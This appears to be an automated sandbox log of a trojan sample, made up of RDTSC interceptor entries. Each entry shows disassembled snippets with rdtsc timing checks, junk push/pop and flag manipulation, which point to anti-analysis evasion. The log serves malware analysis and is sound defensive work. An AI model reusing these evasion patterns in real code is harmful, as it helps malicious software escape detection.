Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDA544 second address: DDA580 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F362081F59Ah 0x00000008 pushad 0x00000009 jmp 00007F362081F59Dh 0x0000000e jmp 00007F362081F5A9h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDA580 second address: DDA58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3620DC90F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDA58A second address: DDA5A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F362081F59Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDA5A6 second address: DDA5AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD8E3C second address: DD8E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD8E40 second address: DD8E4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD8E4C second address: DD8E5C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007F362081F596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD8E5C second address: DD8E62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD8E62 second address: DD8ED2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F362081F5A5h 0x0000000f jnl 00007F362081F5BCh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F362081F59Ah 0x0000001c jmp 00007F362081F5A9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD8ED2 second address: DD8ED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD916D second address: DD9173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD9173 second address: DD917B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DD942E second address: DD944E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F362081F5A2h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDA258 second address: DDA274 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F3620DC9106h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDA274 second address: DDA279 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDA279 second address: DDA296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3620DC9103h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDD228 second address: DDD22D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDCDC1 second address: DDCDCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDCF76 second address: DDCF7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DDCF7B second address: DDCF87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F3620DC90F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DEE6E9 second address: DEE71A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F362081F5A9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007F362081F59Ah 0x00000011 push esi 0x00000012 jl 00007F362081F596h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CE8B26 second address: CE8B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: CE8B2A second address: CE8B55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A7h 0x00000007 jo 00007F362081F596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F362081F59Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DF3805 second address: DF380B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DF380B second address: DF3821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F362081F5A1h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DF3821 second address: DF3863 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3620DC910Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f jmp 00007F3620DC9105h 0x00000014 jns 00007F3620DC90FEh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: DEAB34 second address: DEAB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E19D48 second address: E19D5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F3620DC90F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E19D5A second address: E19D5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E19D5E second address: E19D82 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3620DC90F6h 0x00000008 jmp 00007F3620DC90FAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3620DC90FCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E19D82 second address: E19D9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F59Fh 0x00000007 jnl 00007F362081F596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E19D9F second address: E19DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E18AEC second address: E18B2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jc 00007F362081F596h 0x0000000c jmp 00007F362081F5A8h 0x00000011 pop esi 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F362081F5A8h 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E18B2F second address: E18B52 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3620DC90F6h 0x00000008 jng 00007F3620DC90F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F3620DC90FFh 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E193D7 second address: E193FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F362081F5BAh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F362081F5A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E195A0 second address: E195E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC9108h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F3620DC9104h 0x00000011 jmp 00007F3620DC90FAh 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push edx 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E1FA5D second address: E1FAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007F362081F596h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 add edx, dword ptr [ebp+122D5AEBh] 0x0000001b push dword ptr [ebp+122D1EA5h] 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F362081F598h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b js 00007F362081F59Ch 0x00000041 mov dword ptr [ebp+122D2936h], ebx 0x00000047 push 2B1FEB3Ch 0x0000004c push eax 0x0000004d push edx 0x0000004e jl 00007F362081F598h 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E21372 second address: E213CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop ebx 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007F3620DC90FAh 0x00000017 jmp 00007F3620DC9106h 0x0000001c popad 0x0000001d jmp 00007F3620DC9108h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E213CA second address: E213CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: E213CE second address: E213D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC0138 second address: 4FC0142 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0EB5 second address: 4FE0EE2 instructions: 0x00000000 rdtsc 0x00000002 mov si, B5ADh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F3620DC90FAh 0x0000000d jmp 00007F3620DC9102h 0x00000012 pop ecx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0EE2 second address: 4FE0EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0EE6 second address: 4FE0EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0EEC second address: 4FE0F54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F362081F59Eh 0x00000011 jmp 00007F362081F5A5h 0x00000016 popfd 0x00000017 pushfd 0x00000018 jmp 00007F362081F5A0h 0x0000001d xor cl, 00000068h 0x00000020 jmp 00007F362081F59Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0F54 second address: 4FE0F5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80170 second address: 4F80174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80174 second address: 4F8017A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F8017A second address: 4F801AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 46h 0x00000005 mov esi, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F362081F59Ah 0x00000012 and esi, 66F80098h 0x00000018 jmp 00007F362081F59Bh 0x0000001d popfd 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov eax, edi 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F801AD second address: 4F801B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F801B2 second address: 4F801B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F801B8 second address: 4F801BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F801BC second address: 4F80209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F362081F5A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 movsx ebx, si 0x00000014 pushfd 0x00000015 jmp 00007F362081F5A6h 0x0000001a or esi, 37177488h 0x00000020 jmp 00007F362081F59Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4F80209 second address: 4F80231 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov ah, bh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push dword ptr [ebp+0Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F3620DC9109h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0DC2 second address: 4FA0DC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0DC6 second address: 4FA0DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0DCC second address: 4FA0E44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 mov esi, 3EADDBEFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f call 00007F362081F5A0h 0x00000014 mov bl, cl 0x00000016 pop edi 0x00000017 pushfd 0x00000018 jmp 00007F362081F59Ch 0x0000001d xor ecx, 20834948h 0x00000023 jmp 00007F362081F59Bh 0x00000028 popfd 0x00000029 popad 0x0000002a push eax 0x0000002b jmp 00007F362081F5A9h 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 call 00007F362081F5A3h 0x00000039 pop eax 0x0000003a mov ax, bx 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0933 second address: 4FA0939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0939 second address: 4FA093F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA093F second address: 4FA0943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0943 second address: 4FA0982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ax, EDA1h 0x0000000f jmp 00007F362081F59Eh 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push edi 0x0000001a pop esi 0x0000001b call 00007F362081F5A9h 0x00000020 pop esi 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0982 second address: 4FA0993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3620DC90FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0590 second address: 4FA0596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FA0596 second address: 4FA05C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3620DC90FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3620DC9107h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FB0341 second address: 4FB0374 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 3685C6B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F362081F5A0h 0x00000014 or si, BEC8h 0x00000019 jmp 00007F362081F59Bh 0x0000001e popfd 0x0000001f push esi 0x00000020 pop ebx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0DA9 second address: 4FE0DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0DAD second address: 4FE0E66 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F362081F5A5h 0x00000008 and esi, 26D2FE66h 0x0000000e jmp 00007F362081F5A1h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov si, A533h 0x0000001d pushfd 0x0000001e jmp 00007F362081F5A8h 0x00000023 xor eax, 2C8E0938h 0x00000029 jmp 00007F362081F59Bh 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007F362081F5A9h 0x00000036 xchg eax, ebp 0x00000037 pushad 0x00000038 mov bx, si 0x0000003b pushad 0x0000003c mov al, F9h 0x0000003e push edi 0x0000003f pop eax 0x00000040 popad 0x00000041 popad 0x00000042 mov ebp, esp 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 pushfd 0x00000048 jmp 00007F362081F5A6h 0x0000004d adc ch, 00000028h 0x00000050 jmp 00007F362081F59Bh 0x00000055 popfd 0x00000056 push esi 0x00000057 pop edi 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0E66 second address: 4FE0E84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3620DC90FBh 0x00000008 pop esi 0x00000009 mov cx, bx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edx, ecx 0x00000015 mov edi, eax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FE0E84 second address: 4FE0E8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.TrojanX-gen.22693.32340.exe	RDTSC instruction interceptor: First address: 4FC0487 second address: 4FC04A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3620DC9105h 0x0000000f rdtsc
